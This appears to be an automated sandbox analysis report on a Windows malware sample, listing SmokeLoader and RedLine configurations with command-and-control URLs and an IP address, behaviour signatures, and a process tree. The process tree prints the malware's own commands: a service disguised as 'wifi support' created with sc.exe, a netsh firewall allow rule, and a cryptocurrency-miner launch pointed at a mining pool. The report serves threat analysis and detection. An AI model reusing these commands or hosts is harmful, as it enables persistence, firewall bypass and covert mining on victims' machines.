Analysis

  • max time kernel
    152s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    19/09/2021, 06:24

General

  • Target
    20d179b470dff4506f08ceeadfc0348b.exe
  • Size 239KB
  • Sample210919-g52rcaecfr
  • SHA256 16718a9f7c14bb6b5ef506f0893784bf691f1a4e69a03889c18e044d934e8c4f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://venerynnet1.top/

  • http://kevonahira2.top/

  • http://vegangelist3.top/

  • http://kingriffaele4.top/

  • http://arakeishant5.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • UDP

C2
  • 45.9.20.20:13441

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 10 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\20d179b470dff4506f08ceeadfc0348b.exe
    "C:\Users\Admin\AppData\Local\Temp\20d179b470dff4506f08ceeadfc0348b.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Users\Admin\AppData\Local\Temp\20d179b470dff4506f08ceeadfc0348b.exe
      "C:\Users\Admin\AppData\Local\Temp\20d179b470dff4506f08ceeadfc0348b.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:428
  • C:\Users\Admin\AppData\Local\Temp\8FF6.exe
    C:\Users\Admin\AppData\Local\Temp\8FF6.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hvznddiw\
      2⤵
        PID:1124
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cjhsxsgu.exe" C:\Windows\SysWOW64\hvznddiw\
        2⤵
          PID:1696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hvznddiw binPath= "C:\Windows\SysWOW64\hvznddiw\cjhsxsgu.exe /d\"C:\Users\Admin\AppData\Local\Temp\8FF6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1584
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hvznddiw "wifi internet conection"
            2⤵
              PID:2560
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hvznddiw
              2⤵
                PID:4040
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3108
              • C:\Users\Admin\AppData\Local\Temp\93FE.exe
                C:\Users\Admin\AppData\Local\Temp\93FE.exe
                1⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of AdjustPrivilegeToken
                PID:3188
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 3188 -s 1588
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1564
              • C:\Users\Admin\AppData\Local\Temp\9F89.exe
                C:\Users\Admin\AppData\Local\Temp\9F89.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:3068
              • C:\Windows\SysWOW64\hvznddiw\cjhsxsgu.exe
                C:\Windows\SysWOW64\hvznddiw\cjhsxsgu.exe /d"C:\Users\Admin\AppData\Local\Temp\8FF6.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3872
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2584
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                      PID:4396
                • C:\Users\Admin\AppData\Local\Temp\ADB3.exe
                  C:\Users\Admin\AppData\Local\Temp\ADB3.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3584
                • C:\Users\Admin\AppData\Local\Temp\B768.exe
                  C:\Users\Admin\AppData\Local\Temp\B768.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1692
                • C:\Users\Admin\AppData\Local\Temp\BC89.exe
                  C:\Users\Admin\AppData\Local\Temp\BC89.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1584
                • C:\Users\Admin\AppData\Local\Temp\CDFF.exe
                  C:\Users\Admin\AppData\Local\Temp\CDFF.exe
                  1⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Checks whether UAC is enabled
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:1148

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      memory/428-115-0x0000000000400000-0x0000000000408000-memory.dmp

                      memory/1148-215-0x0000000005180000-0x0000000005181000-memory.dmp

                      memory/1148-214-0x0000000077E40000-0x0000000077FCE000-memory.dmp

                      memory/1148-207-0x0000000001060000-0x0000000001061000-memory.dmp

                      memory/1584-181-0x00000000004A0000-0x0000000000530000-memory.dmp

                      memory/1584-187-0x0000000000400000-0x0000000000493000-memory.dmp

                      memory/1692-183-0x0000000004B80000-0x0000000004B81000-memory.dmp

                      memory/1692-180-0x00000000001C0000-0x00000000001F0000-memory.dmp

                      memory/1692-185-0x0000000004B83000-0x0000000004B84000-memory.dmp

                      memory/1692-173-0x0000000004B90000-0x0000000004B91000-memory.dmp

                      memory/1692-172-0x0000000002390000-0x00000000023AF000-memory.dmp

                      memory/1692-184-0x0000000004B82000-0x0000000004B83000-memory.dmp

                      memory/1692-174-0x0000000002410000-0x000000000242E000-memory.dmp

                      memory/1692-182-0x0000000000400000-0x000000000045F000-memory.dmp

                      memory/1692-186-0x0000000004B84000-0x0000000004B86000-memory.dmp

                      memory/1832-114-0x0000000000030000-0x0000000000039000-memory.dmp

                      memory/2208-129-0x0000000000400000-0x000000000044C000-memory.dmp

                      memory/2208-127-0x00000000001C0000-0x00000000001D3000-memory.dmp

                      memory/2584-149-0x0000000000450000-0x0000000000465000-memory.dmp

                      memory/3052-117-0x0000000001100000-0x0000000001115000-memory.dmp

                      memory/3068-188-0x0000000006BF0000-0x0000000006BF1000-memory.dmp

                      memory/3068-195-0x0000000008A40000-0x0000000008A41000-memory.dmp

                      memory/3068-140-0x0000000000080000-0x0000000000081000-memory.dmp

                      memory/3068-142-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

                      memory/3068-143-0x00000000053F0000-0x00000000053F1000-memory.dmp

                      memory/3068-148-0x00000000054C0000-0x00000000054C1000-memory.dmp

                      memory/3068-147-0x00000000054D0000-0x00000000054D1000-memory.dmp

                      memory/3068-146-0x0000000005450000-0x0000000005451000-memory.dmp

                      memory/3068-144-0x0000000077E40000-0x0000000077FCE000-memory.dmp

                      memory/3068-189-0x00000000072F0000-0x00000000072F1000-memory.dmp

                      memory/3068-190-0x0000000006DC0000-0x0000000006DC1000-memory.dmp

                      memory/3068-191-0x0000000006EE0000-0x0000000006EE1000-memory.dmp

                      memory/3068-193-0x0000000007080000-0x0000000007081000-memory.dmp

                      memory/3068-194-0x0000000007230000-0x0000000007231000-memory.dmp

                      memory/3068-145-0x00000000055E0000-0x00000000055E1000-memory.dmp

                      memory/3188-124-0x0000000000F60000-0x0000000000F61000-memory.dmp

                      memory/3188-126-0x0000000003070000-0x0000000003072000-memory.dmp

                      memory/3584-157-0x00000000003E0000-0x00000000003E1000-memory.dmp

                      memory/3584-165-0x00000000056E0000-0x0000000005CE6000-memory.dmp

                      memory/3584-164-0x0000000077E40000-0x0000000077FCE000-memory.dmp

                      memory/3872-155-0x0000000000400000-0x000000000044C000-memory.dmp

                      memory/4396-227-0x0000000000600000-0x00000000006F1000-memory.dmp

                      memory/4396-232-0x0000000000600000-0x00000000006F1000-memory.dmp